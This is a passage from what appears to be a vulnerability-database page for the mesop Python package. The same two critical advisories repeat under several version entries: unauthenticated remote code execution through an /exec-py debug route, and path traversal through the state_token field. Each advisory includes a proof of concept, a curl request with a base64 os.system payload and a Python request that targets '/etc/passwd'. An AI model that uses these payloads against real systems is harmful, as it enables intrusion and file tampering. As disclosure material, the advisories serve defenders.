mesop

Version	Released
`1.3.5` patch	Aug 17, 2026
`1.3.4` patch	Aug 01, 2026
`1.3.3` patch	Jul 11, 2026
`1.3.2` patch	Jun 07, 2026
`1.3.0` minor	May 13, 2026
`1.3.0rc2` pre	May 10, 2026
`1.3.0rc1` pre	Apr 26, 2026
`1.2.7` patch	Apr 07, 2026
`1.2.7rc1` pre	Apr 05, 2026
`1.2.6rc2` pre	Mar 31, 2026
`1.2.5` patch	Mar 31, 2026
`1.2.5rc1` pre 1 CVE	Mar 30, 2026
`1.2.4rc1` pre 1 CVE	Mar 17, 2026
`1.2.3` patch 1 CVE	Mar 16, 2026
`1.2.2` patch 2 CVEs	Feb 23, 2026
`1.2.2rc1` pre 2 CVEs	Feb 22, 2026
`1.2.1` patch 2 CVEs	Feb 20, 2026
`1.2.1rc1` pre 2 CVEs	Feb 16, 2026
`1.2.0` minor 2 CVEs	Jan 01, 2026
`1.2.0rc1` pre 2 CVEs	Dec 31, 2025
`1.1.1` patch 2 CVEs	Nov 24, 2025
`1.1.1rc3` pre 2 CVEs	Nov 22, 2025
`1.1.1rc2` pre 2 CVEs	Nov 20, 2025
`1.1.1rc1` pre 2 CVEs	Nov 20, 2025
`1.1.0` minor 2 CVEs	Jun 19, 2025
`1.1.0rc1` pre 2 CVEs	Jun 19, 2025
`1.0.1` patch 2 CVEs	Apr 01, 2025
`1.0.1rc1` pre 2 CVEs	Apr 01, 2025
`1.0.0` major 2 CVEs	Mar 19, 2025
`1.0.0rc2` pre 2 CVEs	Mar 19, 2025
`1.0.0rc1` pre 2 CVEs	Mar 13, 2025
`0.14.2rc1` pre 2 CVEs	Mar 04, 2025
`0.14.2b2` pre 2 CVEs	Feb 14, 2025
`0.14.2b1` pre 2 CVEs	Feb 02, 2025
`0.14.1` patch 2 CVEs	Jan 03, 2025
`0.14.1rc1` pre 3 CVEs	Jan 03, 2025
`0.14.0` minor 3 CVEs	Dec 29, 2024
`0.14rc1` pre 3 CVEs	Dec 29, 2024
`0.13.0` minor 3 CVEs	Dec 09, 2024
`0.13.0rc1` pre 3 CVEs	Dec 09, 2024
`0.12.10rc1` pre 3 CVEs	Dec 07, 2024
`0.12.10b3` pre 3 CVEs	Dec 07, 2024
`0.12.10b2` pre 3 CVEs	Dec 05, 2024
`0.12.10b1` pre 3 CVEs	Dec 04, 2024
`0.12.9` patch 3 CVEs	Nov 13, 2024
`0.12.9rc1` pre 3 CVEs	Nov 13, 2024
`0.12.8` patch 3 CVEs	Nov 02, 2024
`0.12.8rc1` pre 3 CVEs	Nov 02, 2024
`0.12.8b1` pre 3 CVEs	Oct 28, 2024
`0.12.7` patch 3 CVEs	Oct 20, 2024

1.3.5 patch

Aug 17, 2026

1.3.4 patch

Aug 01, 2026

1.3.3 patch

Jul 11, 2026

1.3.2 patch

Jun 07, 2026

1.3.0 minor

May 13, 2026

1.3.0rc2 pre

May 10, 2026

1.3.0rc1 pre

Apr 26, 2026

1.2.7 patch

Apr 07, 2026

1.2.7rc1 pre

Apr 05, 2026

1.2.6rc2 pre

Mar 31, 2026

1.2.5 patch

Mar 31, 2026

1.2.5rc1 pre

1 CVE

Mar 30, 2026

1.2.4rc1 pre

1 CVE

Mar 17, 2026

1.2.3 patch

1 CVE

Mar 16, 2026

1.2.2 patch

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 23, 2026

1.2.2rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 22, 2026

1.2.1 patch

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 20, 2026

1.2.1rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


